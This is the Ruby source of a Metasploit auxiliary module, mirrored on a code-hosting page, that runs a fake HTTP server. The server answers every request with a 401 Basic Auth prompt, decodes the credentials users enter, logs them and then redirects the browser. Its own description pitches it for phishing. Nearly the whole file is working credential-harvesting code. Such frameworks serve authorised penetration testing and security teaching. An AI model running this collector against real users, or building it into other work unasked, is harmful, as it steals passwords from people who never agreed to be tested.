PageRenderTime 48ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/server/capture/http_basic.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 116 lines | 105 code | 7 blank | 4 comment | 2 complexity | e797cf62f346ba7ab8c66fadcf399ecd MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpServer::HTML
  8. include Msf::Auxiliary::Report
  9. def initialize(info={})
  10. super(update_info(info,
  11. 'Name' => 'HTTP Client Basic Authentication Credential Collector',
  12. 'Description' => %q{
  13. This module responds to all requests for resources with a HTTP 401. This should
  14. cause most browsers to prompt for a credential. If the user enters Basic Auth creds
  15. they are sent to the console.
  16. This may be helpful in some phishing expeditions where it is possible to embed a
  17. resource into a page.
  18. This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski.
  19. },
  20. 'Author' => ['saint patrick <saintpatrick[at]l1pht.com>'],
  21. 'License' => MSF_LICENSE,
  22. 'Actions' =>
  23. [
  24. [ 'Capture' ]
  25. ],
  26. 'PassiveActions' =>
  27. [
  28. 'Capture'
  29. ],
  30. 'DefaultAction' => 'Capture'
  31. ))
  32. register_options(
  33. [
  34. OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
  35. OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]),
  36. OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ])
  37. ], self.class)
  38. end
  39. # Not compatible today
  40. def support_ipv6?
  41. false
  42. end
  43. def run
  44. @myhost = datastore['SRVHOST']
  45. @myport = datastore['SRVPORT']
  46. @realm = datastore['REALM']
  47. print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
  48. exploit
  49. end
  50. def report_cred(opts)
  51. service_data = {
  52. address: opts[:ip],
  53. port: opts[:port],
  54. service_name: opts[:service_name],
  55. protocol: 'tcp',
  56. workspace_id: myworkspace_id
  57. }
  58. credential_data = {
  59. origin_type: :service,
  60. module_fullname: fullname,
  61. username: opts[:user],
  62. private_data: opts[:password],
  63. private_type: :password
  64. }.merge(service_data)
  65. login_data = {
  66. core: create_credential(credential_data),
  67. status: Metasploit::Model::Login::Status::UNTRIED,
  68. proof: opts[:proof]
  69. }.merge(service_data)
  70. create_credential_login(login_data)
  71. end
  72. def on_request_uri(cli, req)
  73. if(req['Authorization'] and req['Authorization'] =~ /basic/i)
  74. basic,auth = req['Authorization'].split(/\s+/)
  75. user,pass = Rex::Text.decode_base64(auth).split(':', 2)
  76. report_cred(
  77. ip: cli.peerhost,
  78. port: datastore['SRVPORT'],
  79. service_name: 'HTTP',
  80. user: user,
  81. password: pass,
  82. proof: req['Authorization']
  83. )
  84. print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}")
  85. if datastore['RedirectURL']
  86. print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
  87. send_redirect(cli, datastore['RedirectURL'])
  88. else
  89. send_not_found(cli)
  90. end
  91. else
  92. print_status("Sending 401 to client #{cli.peerhost}")
  93. response = create_response(401, "Unauthorized")
  94. response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\""
  95. cli.send_response(response)
  96. end
  97. end
  98. end